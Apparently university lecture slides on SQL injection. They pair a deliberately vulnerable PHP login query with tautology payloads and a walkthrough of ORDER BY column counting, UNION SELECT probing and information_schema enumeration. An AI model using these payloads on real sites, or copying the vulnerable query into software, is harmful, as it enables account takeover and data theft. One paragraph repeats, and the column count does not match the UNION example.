SQL Injection

CSCI 4971 – Secure Software Principles

Rensselaer Polytechnic Institute

Spring 2010

A hypothetical web application

```
$result = mysql_query(<<<EOT
    SELECT * FROM users
        WHERE username = '{$_POST['user']}'
        AND password = '{$_POST['pass']}';
EOT
);

if (mysql_num_rows($result) > 0)
{
    $row = mysql_fetch_assoc($result);
    $_SESSION['logged_in_as'] = $row['username'];
}
```

ID	Username	Password
0	alice	d8j2zzjN
1	bob	M*ttw2xK
2	eve	PsJ2m@ff
3	mallory	tw!Zubp8

User enters username `bob` and password `M*ttw2xK` :

Query

```
SELECT * FROM users
       WHERE username = 'bob'
       AND password = 'M*ttw2xK';
```

ID	Username	Password
0	alice	d8j2zzjN
1	bob	M*ttw2xK
2	eve	PsJ2m@ff
3	mallory	tw!Zubp8

The query returns 1 row, so the user becomes logged in as `bob` .

Attacker enters username `foo' OR 'x'='x` and password `bar` :

Query

```
SELECT * FROM users
      WHERE username = 'foo' OR 'x'='x'
      AND password = 'bar';
```

ID	Username	Password
0	alice	d8j2zzjN
1	bob	M*ttw2xK
2	eve	PsJ2m@ff
3	mallory	tw!Zubp8

Every row matches the query, since `'x'='x'` is a tautology. So, the attacker becomes logged in as `alice`.

A common mitigation attempt is to run a function like PHP's `mysql_real_escape_string` on the variables before interpolating them in the query.

However, this is not sufficient, since you can have injection where an integer is expected. Consider when `foo` is `0 OR 1 = 1`:

A query without strings

```
SELECT * FROM products WHERE price < $foo;
```

Let's say you have a form which you believe to have SQL injection, but you don't know the underlying query. How do you exploit it?

To start, try something simple like `foo' OR 'x'='x` . In many cases, this should preserve the validity of the query.

If it doesn't, we can infer something from the underlying query. For instance, it might not be a string injection, or where you are injecting might be within a function, i.e., `LENGTH("$foo")` .

Let's say you have a form which you believe to have SQL injection, but you don't know the underlying query. How do you exploit it?

To start, try something simple like `foo' OR 'x'='x` . In many cases, this should preserve the validity of the query.

If it doesn't, we can infer something from the underlying query. For instance, it might not be a string injection (i.e., `price > $foo`), or where you are injecting might be within a function (i.e., `LENGTH("$foo")`).

Once you've worked out where in the query you have injection, you need to start examining the database. First, let's figure out how many columns are being selected. Here's a try:

```
foo' ORDER BY 1--
```

This orders the query result by the first column in the query. If this query does not error, there must be at least 1 column being selected.

We find out how many columns there are by incrementing the ordinal until the query fails. Let's say the largest ordinal that succeeds is `foo' ORDER BY 4--` .

Now that we have the number of columns, we want to figure out what they are. We can do this with a `UNION` clause:

```
foo' UNION SELECT 'a','b','c','d','e','f','g'
   FROM mysql.user--
```

This fetches a row populated with the values 'a' through 'g'.

First, we use distinct values for the fields so that we can see where they show up in the output. Second, if an error occurs, we know we probably were selecting the wrong data type into a field (for instance, selecting a string into an integer field).

Most relational database management systems use a meta-database to describe all of the databases maintained by the system. For instance, this database contains a table of tables, and a table of user privileges.

By convention, this database is named `INFORMATION_SCHEMA`. In SQLite, there is a single metatable named `SQLITE_MASTER`.

Retrieve a list of databases

```
SELECT schema_name FROM information_schema.schemata;
```

Retrieve a list of tables in database `foo`

```
SELECT table_name FROM information_schema.tables
   WHERE table_schema = "foo";
```

Retrieve a list of columns in table `foo.bar`

```
SELECT column_name, column_type
   FROM information_schema.columns
   WHERE table_schema = "foo" AND table_name = "bar"
   ORDER BY ordinal_position ASC;
```